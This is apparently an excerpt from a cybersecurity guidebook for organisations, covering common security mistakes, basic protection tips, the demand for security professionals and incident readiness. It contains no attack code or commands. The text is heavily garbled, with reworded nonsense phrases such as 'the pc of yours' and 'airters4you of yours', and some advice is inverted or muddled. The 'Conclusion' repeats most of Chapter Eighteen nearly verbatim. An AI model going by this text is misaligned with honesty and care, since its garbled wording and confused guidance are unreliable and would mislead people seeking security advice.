Stolen information and data will not lead to the end of the business. It is not a great sign for the business either. Studies and research indicate that a data breach in an organization’s network can lead to a loss of $15.4 million, and the amount increases each year. Do they want to lose their money because of some issues or vulnerabilities in the system? Indeed, businesses and organizations cannot make mistakes. These mistakes can lead to data loss, but a large organization is bound to make such mistakes. What the organization must do is to learn from those mistakes. You cannot expect your organization to do the exact thing repeatedly only because the outcome may change at one point. This chapter covers the different mistakes organizations make. You must protect your organization from making such mistakes during these times.

Failing to Map Data

Every organization must focus on understanding how and where the data flows. It should also look at where the data is saved. Remember, data is the livelihood of your company. Only when you assess and identify the flow of data can you see where it must be protected. You must know if the data is flowing out of your organization and who it is shared with. When you have visibility, you will know what ends the hacker can attack. You will also know where you can catch the hacker.

Neglecting Security Testing

Vulnerabilities will reside across the database, systems, applications, and network. These vulnerabilities now extend to various devices like the IoT or Internet of Things and smartphones. Organizations must
test these devices and connections regularly to scan for any vulnerabilities. You can also perform some penetration tests to learn about the vulnerabilities. Remember, you cannot guess the vulnerabilities and will only find them when you test them.

Concentrating on Wrong Aspects

Indeed, prevention is not an anachronism. As technology advances, so make the threats against it. Remember, a hacker will find a way to enter the border. A firewall will not always protect your systems if you have an employee who does not know what he is doing. Once a hacker is inside the system, he can acquire privileged information. He can also pretend to be an employee of the organization. Hackers can evade any security scans for a long time. If you have better visibility, you can find a hacker and reduce the chances of data leaks.

Forgetting the Basics

Often, it is the simple things you can use to overcome and threats to the system. You must train all your employees. Help them understand the type of password they must use. They must perform the right actions as well. It is only if this occurs that you can properly maintain the components of the network and minimize the risk of data loss. You may also find ways to customize the data to properly avoid any changes.

Avoiding Training

Remember to train your employees to know what they must do to prevent any attacks. The most common form of hack is a social engineering attack. The hacker will send information from a malicious source and mask the information to seem legit. He can then use the information the employee feeds into the website and attack the system's configuration and network. Make sure to train your staff about protecting their systems and how to identify social engineering attacks.
Security Monitoring

Most businesses cannot set up their security operations center or center of excellence since they lack the budget. This does not mean you cannot monitor the security of the systems and network. You must investigate the network and look for any threats or vulnerabilities. You can use these approaches to minimize the effect of an attack on data and security.

Avoiding Vendor Risk Assessments

From earlier, you know vendor risks are the reasons for numerous data breaches. Hackers can enter the organization's systems through the vendor's application or network. Therefore, you must have a plan to help you assess the risks in third-party systems. You can also read the reports they share about their systems to learn more about their security.

Ignoring Shadow IT

Remember, the end-points in any network are often connected to other networks, making it hard to control the flow of data through the network. Most employees access shadow devices and applications from their laptops and desktops. The IT department in most organizations does not support the use of such applications. If you do not know how to stop it, you must find a way to hide it. You can block these applications and websites.

It Is Not Only about Malware

Most hackers use malware to establish their presence in a system or network. Once they are inside the network or system, they will use different strategies to perform the hack and move through your network. You need to find a hack into the system in a legitimate way and perform the hack to detect any vulnerabilities.

Breaches Won't Happen
This is one of the biggest mistakes most companies make. Some organizations do not protect their business and network since they believe cybercriminals do show mercy. This is never going to happen. Cybercriminals will attack any company, regardless of size. You must prepare your defenses and identify the response to an attack. This will help minimize the damage and react faster to threats if the day does come.

Forgetting about the Management

You must understand that security must mature over time, which is one of the primary objectives of information security professionals. In some instances where businesses have reached high maturity levels, security is a part of the organization’s culture. You must obtain permissions and approvals from the management before you investigate any attacks or the systems.

Doing it on Your Own

You must find someone to help you test your network and systems, regardless of whether you own a small company or a component of a larger corporation that lacks security skills. You can also partner with security service providers. Alternatively, you can speak to your management and hire the right professionals, or you can train the employees in your firm. You must avoid making these mistakes if you want to improve your organization’s systems and networks’ security.

Tips to Keep Your Organization Secure

This chapter will look at some tips to help you protect your organization from being a victim. Speak to the IT professionals and other business stakeholders to learn more about what you can do to prevent any cyber-attacks.

Creating an Information Security Policy

Every business must have a clearly defined security policy, which
should provide information on the processes everyone in the organization must follow. You must enforce this policy and train employees to perform the right actions. Remember to include the following in your information security policy:

- Best Practices for encryption
- Password requirements
- Usage of devices
- Email access

You must frequently update this policy and let every employee in the organization know about the policy’s changes.

**Educating Employees**

This is a crucial aspect to consider. If you have a security policy, but your employees do not know what they must do, it is a lost cause. Help your employees understand the different protocols they must perform. You need to have the training and let people know what they must do. This is one of the simplest modalities to protect data.

**Using Secure Passwords**

Remember, passwords are important to maintain cybersecurity. Instruct your employees to choose passwords that are difficult for a hacker to guess. You must avoid using dates and names in your password since hackers can easily connect you with those words. You must instruct them to change passwords regularly. You can also use a multi-factor authentication system to add an extra layer of protection to the accounts.

**Ensure Software is Updated**

If you have outdated software in your systems, it can lead to a security risk. You should always update the software with the latest patches. For example, if you use the Windows Operating System, you must allow the updates to run to cover any vulnerabilities or gaps.
Secure the Network

You must use firewalls to protect the network used in the system. Use encryption, so you make it harder for a hacker or any other user to access the data. You must be careful when you use Wi-Fi since most hackers target those connections. Let employees know they should not use public Wi-Fi. Ask them to use VPN connections to secure the transmission of data. Make sure to protect the router using a strong password.

Back-Up the Data

Regardless of how vigilant you are, a hacker can choose to target your system or network. Store the data on a disk in the event of such an attack. Let the system store the data automatically in a secure place. You could also collect the data in a separate data center.

Control Access

You must ensure to maintain some control over the devices used by employees as well. Employees must be careful about the information on their screen and should never leave it unlocked. If they leave their station or desk for a minute, they must log out of that system. Since anyone can walk away with a laptop, employees should be told never to leave it unattended. Since more business is conducted on tablets and smartphones, hackers target these devices.

Employees must secure their data on the phone and protect their phones using a password. They must report the loss or theft of the device promptly.

Cybersecurity Training

Organizations can always reduce the risk of cyber-attacks by training their employees. They can use Target Solutions Cybersecurity Training for employees. This training material will provide dynamic courses to check the user’s knowledge about cybersecurity.
Chapter Seventeen:

Demand of Cybersecurity

Cybersecurity is now viewed as an essential part of individuals and families, additionally to businesses, governments, the business and educational facilities of ours. Families and parents need to protect the kids as well as family members from online fraud. It is crucial to secure the financial information that will influence our private economic condition in terms of financial security. The web is important and beneficial for staff, educational institutions, students, and faculty, and has provided lots of learning options with several online risks. There is a crucial necessity for web users to recognize the means to protect themselves from online fraud in addition to identity theft. Suitable learning about internet behavior and system protection results in a decrease in vulnerabilities & safer internet settings. Small and medium-sized organizations also experience varying security associated challenges due to limited resources and correct cybersecurity skills. The fast expansion of solutions is also creating and making cybersecurity more complex, as we do not present everlasting means for the concerned issue. However, we are fighting and presenting various technologies or frameworks to protect our network and information, but every one protects transient just. Nevertheless, enhanced security comprehension and correct strategies are necessary to safeguard intellectual property and trade secrets, minimizing financial and reputation loss. Governments hold a fantastic amount of confidential records on the internet and information in electronic form, which are a primary target for cyber attack. Governments face problems the bulk of the time due to inappropriate infrastructure, awareness, and insufficient sufficient funding. Every government body needs to give reliable solutions to culture, maintain great citizens to government communications in addition to the safety of info that's confidential.
As individuals depend far more intensely on technology that will help you control their daily lives, the danger of cybercrime will escalate. Cyber risks pose one of most likely the gravest national security consequences that the United States faces ... it's obvious that a great deal more work needs to be done to enhance our cybersecurity.

Several huge-scale of cyber attacks have affected large businesses like Target, Bank of America, JPMorgan Chase, and Home Depot. The data breaches may have compromised bank records, credit card numbers, and various other private information, including usernames, passwords, emails, addresses, and telephone numbers.

Shortage of Cybersecurity Professionals Based on a June 2014 exploration by the RAND Corporation states that, "the nationwide deficit of cybersecurity professionals - particularly for roles within the federal government - creates risks for national and homeland security."

Traditional IT professionals may not be totally trained with information security tactics. Many organizations may not be willing or able to invest a sizable amount of money in companywide cybersecurity recognition instruction. In certain situations, employers might understand the need to upgrade cybersecurity techniques but are unsure about precisely how you can manage the problem.

Based upon RAND's assessment, "Hackers Wanted: An Examination of the Cybersecurity Labor Market," the most recent data breaches are pressing the demand for cybersecurity experts to "stratospheric heights."

**People Who Need Cyber Security**

In case the net started, it'd been ordinarily viewed as a nerdy past time for people that were better ready to handle desktop pes than with others. Nowadays, from social media to internet banking to electric hospital records, every product of the life of ours is being sold on the
internet. With other nefarious characters, Internet hackers can fight to get into this work and info with it for personal purposes. Basically, everybody needs cybersecurity since nearly everybody has personal information easily available via the internet.

The Age of Cyber Criminals Technology isn't evil, although it's in a position to be put to evil use certainly. To have the ability to utilize the net for anything at all, we've to offer it with info that is private regarding the hobbies of ours, preferences, finances, buying habits, together with relevant information. In a great world, almost all that information will remain in the perfect vacuum from the time it actually leaves our laptops and smartphones to the moment when it gets on the company or perhaps bank that we are doing the transaction of ours with.

The basic truth is, there is an army of cybercriminals that are spread out all across the world and also on the hunt that one insufficient password or maybe perhaps the unsecured type of communication to pounce on and draw the information out of. The era of typical criminals has today been superseded by cybercriminals who might hack into your pc from halfway across the world and use your private information to ruin your life.

Attacking People with the Internet

There was an era anytime the laptop computer was viewed purely as a manufacturing device. However, when Bill Gates created the inception for the home personal computer, suddenly every house was clamoring for the personal computer and the opportunity of being a component of the world wide web.

Those were simpler times when common people knew almost no about computers. By their eagerness to analyze the electronic world, visitors would stumble across websites that claimed to discover ways to produce quick millionaires and provided links to numerous additional beneficial info. All it took was one click on the hyperlink, together with
a file that is going to be downloaded on the pc of theirs that contained a harmful computer virus.

The methods created aree progressively more complex today, after which such viruses work at inflicting extensive greater damage, including:

- Sending your account details to a remote server on an extra computer
- Planting incriminating information on the pc of yours, which may wind up you in jail
- Remotely accessing the pc of yours plus using it to deal with clandestine final party transactions and making you're taking the blame for them
- Using social networking, you have accounts to possess interaction with many other individuals on the internet
- Wiping out the info on the pc of yours, or even generally causing irreparable damage to it

Electric Protection for Companies Large and Small

The stakes are in fact higher when the fate of the organization is solely tied to keeping the electronic assets of yours secure. In case the net revolution was in the good of its advanced thinking, business people have needed to follow the science. The web has helped them reduce their costs, faster creation, use an international workforce, and dramatically raise profit margins.

When the first cyber attack hit a company's computer, the honeymoon era was brought to a screeching halt. Then an extra strike followed on a comparable business. Subsequently, an additional, and lots of more annually. Nowadays, businesses understand that an unprotected electronic community can trigger unimaginable damage to the organization of theirs in numerous tactics, including:

- Revealing info that's confidential regarding customers and
posting it online
- Eliminating a year's worth of company info in only minutes
- Causing injury to the company's electrical products, creating a holdup that will kill the profit margins of theirs
- Creating the company computers to do the job and malfunction in an unwanted manner
- Damaging the company's standing and producing investors and clients reluctant to place the faith of theirs in them again

Go into the Cyber Security Experts

It's complications like these personally and professionally that made the demand for cybersecurity experts. These are the people tasked with learning electronic networks to learn the weak points that could provide access, which is very easy to hackers and malware, and developing stronger techniques that could allow for the protected transfer of encrypted info with those networks. As online hackers acquire bolder and better equip, the demand for cybersecurity industry experts will improve in the long term.
Chapter Eighteen: Cyber Security Readiness

Instruction and Awareness

First and foremost, it's essential that cybersecurity styles element of the talk at every organization, from the lunchroom to the boardroom. Generally, through constantly keeping cybersecurity in front of mind, might it create a component of the decision-making process, infrastructure investment, and regulatory and governance demands.

Moreover, as people might themselves be an assault vector through social engineering, everyone within an organization gradually shares responsibility in ensuring the greatest procedure cybersecurity methods are performed. This requires staff education with regular updates to foods as new threats occur. In truth, parallels are drawn between cybersecurity and healthcare - everyone needs some sort of cybersecurity instruction.

Finally, the job of knowledgeable cybersecurity professionals or perhaps qualified instructions for vital staff both in IT and management should develop a part of every cybersecurity readiness.

Preparation & Planning

A cybersecurity event isn't an 'if' but a 'when,' and to that end, preparation is crucial. This may include management techniques, best process policies, IT auditing, together with dedicated staff responsible for cybersecurity operations. Good cybersecurity readiness requires an understanding of risks and threats to assets and information relevant to the people and the organization of its, monitoring and detecting cybersecurity threats every day, protecting systems and information critical, guaranteeing the organization fulfills practically all relevant
standards compliance, has incident response plans in place in the performance of a breach, then apparent business continuity models to minimize some loss.

Generally, a great deal of the above-mentioned responsibilities needs to be to the CISO (Chief Information Security Officer) or perhaps equivalent, though various other stakeholders like for example, senior leadership, legal and talking personnel, and public relations may also need to have preparations in the performance of an event.

Detection and Recovery

When a breach occurs, the faster it is recognized and responded to, the taller the potential for decreasing loss - whether or not it's financial, reputational, or even possibly otherwise. How fast should your small business identify and respond to information theft or possibly the disabling of important services? Just how fast ought to affect servers or perhaps workstations be quarantined for forensic analysis? Exactly how rapidly and also easily should lost or corrupted info be restored? What is the incident response plan, and who'd be the stakeholders that must be notified promptly?

Importantly, the maintenance and evaluation of logs can help determine the manner the breach occurred, and consequently, how it might be closed, and can be a part of the healing operation. It's not adequate to close the hole; an understanding of how the breach occurred may well lead to stopping several additional, similar breaches.

Sharing and Collaboration

As we've reviewed in this guide, energy is essential to mitigating current and future risks. Posting the outcome of the breach analysis of yours with the government and industry can help prevent an established hit vector from hitting various organizations.

In turn, aircrasyou of yours may be ready to prevent an exploit by learning from a breach that some other organization shared. Moreover, feel about registering for or perhaps offering information to
an ISAC (Information Sharing along with Analysis Centers, www.nationalisacs.org), providing there is an equivalent for the market of yours.

In some situations, your organization may be bound by legislative specs to report an incident. At minimum, a breach should be reported to authorities or maybe organizations as AusCERT (www.auscert.org.au) along with the Australian Centre for Cyber Security.

Ethics and certification may initially show up a significantly less helpful pillar, although the huge difference between a 'white hat' hacker and a 'black hat' hacker is the mindset. In any business or maybe an organization, ethics plays a task and should be of a particular cybersecurity problem. While some sectors, such as defense, will most likely have their own strategies to vet credentials, for an industry as diverse and skilled as ICT, it can assist if experts are competent to present adherence to a code of ethics by club membership seasoned institution.

Many expert organizations maintain the people of theirs to standards that ensure the standing in addition to the respectability of a profession is preserved. For example, ACS has a code of ethics all Certified Professionals must abide by, furthermore to other requirements such as demonstrating recurring private growth and a degree in the selected master area of theirs of expertise.

Three critical skills for cyber Security Professionals Effective IT protection experts need a lot more than specialized abilities. To truly advance in the spot, these professionals should be:

Strategists - Cyber Security professionals will be ready to proactively use security measures in addition to adjustments within organizations, weighing the consequences of any exercise. Superior security protocols need tactical and strategic evaluations of workflows, dependencies, budgets, and resources. Because completely new methods to hack information are continuously developing, experts must step forward, learning how online hackers enter networks and procedures to thwart them.
Communicators - Management, in addition to communication skills, ensure excellent coordination with teams and clients—technology and security touch every specialist in a business. Protection experts must interact in sizable methods by teaching & empowering personnel to assist you in protecting strategies.

Lifelong Learners - Another should have capacity is specialized competence. With the pace of development in protection, what this implies is an investigation: earning, education, and ongoing common certifications. These professionals must constantly be learning new revolutionary technology skills to have the capacity to resolve complicated security problems.
Conclusion

Instruction and Awareness

First and foremost, it's essential that cybersecurity styles element of the talk at every organization, from the lunchroom to the boardroom. Generally, through constantly keeping cybersecurity in front of mind, might it create a component of the decision-making process, infrastructure investment, and regulatory and governance demands.

Moreover, as people might themselves be an assault vector through social engineering, everyone within an organization gradually shares responsibility in ensuring the greatest procedure cybersecurity methods are performed. This requires staff education with regular updates to folks as new threats occur. In truth, parallels are drawn between cybersecurity and healthcare - everyone needs some sort of cybersecurity instruction.

Finally, the job of knowledgeable cybersecurity professionals or perhaps qualified instructions for vital staff both in IT and management should develop as part of every cybersecurity readiness.

Preparation & Planning

A cybersecurity event isn't an 'if but a 'when,' and to that end, preparation is crucial. This may include management techniques, best process policies, IT auditing, together with dedicated staff responsible for cybersecurity operations. Good cybersecurity readiness requires an understanding of risks and threats to assets and information relevant to the people and the organization of its, monitoring and detecting cybersecurity threats every day, protecting systems and information critical, guaranteeing the organization fulfills practically all relevant standards compliance, has incident response plans in place in the performance of a breach, then apparent business continuity models to minimize some loss.
Generally, a great deal of the above-mentioned responsibilities needs to be to the CISO (Chief Information Security Officer) or perhaps equivalent, though various other stakeholders like for example, senior leadership, legal and talking personnel, and public relations may also need to have preparations in the performance of an event.

Detection and Recovery

When a breach occurs, the faster it is recognized and responded to, the taller the potential for decreasing loss - whether or not it's financial, reputational, or even possibly otherwise. How fast should your small business identify and respond to information theft or possibly the disabling of important services? Just how fast ought to affect servers or perhaps workstations be quarantined for forensic analysis? Exactly how rapidly and also easily should lost or corrupted info be restored? What is the incident response plan, and who'd be the stakeholders that must be notified promptly?

Importantly, the maintenance and evaluation of logs can help determine the manner the breach occurred, and consequently, how it might be closed, and can be a part of the healing operation. It's not adequate to close the hole; an understanding of how the breach occurred may well lead to stopping several additional, similar breaches.

Sharing and Collaboration

As we've reviewed in this guide, energy is essential to mitigating current and future risks. Posting the outcome of the breach analysis of yours with the government and industry can help prevent an established hit vector from hitting various organizations.

In turn, airters4you of yours may be ready to prevent an exploit by learning from a breach that some other organization shared. Moreover, feel about registering for or perhaps offering information to an ISAC (Information Sharing along with Analysis Centers, www.nationalisacas.org), providing there is an equivalent for the market of yours.
In some situations, your organization may be bound by legislative specs to report an incident. At minimum, a breach should be reported to authorities or maybe organizations as AusCERT (www.auscert.org.au) along with the Australian Centre for Cyber Security.

Ethics and certification may initially show up a significantly less helpful pillar, although the huge difference between a 'white hat' hacker and a 'black hat' hacker is the mindset. In any business or maybe an organization, ethics plays a task and should be of a particular cybersecurity problem. While some sectors, such as defense, will most likely have their own strategies to vet credentials, for an industry as diverse and skilled as ICT, it can assist if experts are competent to present adherence to a code of ethics by club membership seasoned institution.

Many expert organizations maintain the people of theirs to standards that ensure the standing in addition to the respectability of a profession is preserved. For example, ACS has a code of ethics all Certified Professionals must abide by, furthermore to other requirements such as demonstrating recurring private growth and a degree in the selected master area of theirs of expertise.

Three critical skills for cyber Security Professionals Effective IT protection experts need a lot more than specialized abilities. To truly advance in the spot, these professionals should be:

Strategists - Cyber Security professionals will be ready to proactively use security measures in addition to adjustments within organizations, weighing the consequences of any exercise. Superior security protocols need tactical and strategic evaluations of workflows, dependencies, budgets, and resources. Because completely new methods to hack information are continuously developing, experts must step forward, learning how online hackers enter networks and procedures to thwart them.

Communicators - Management, in addition to communication skills, ensure excellent coordination with teams and clients—technology and security touch every specialist in a business. Protection experts must
interact in sizable methods by teaching & empowering personnel to assist you in protecting strategies.

Lifelong Learners - Another should have capacity is specialized competence. With the pace of development in protection, what this implies is an investigation: earning, education, and ongoing common certifications. These professionals must constantly be learning new revolutionary technology skills to have the capacity to resolve complicated security problems.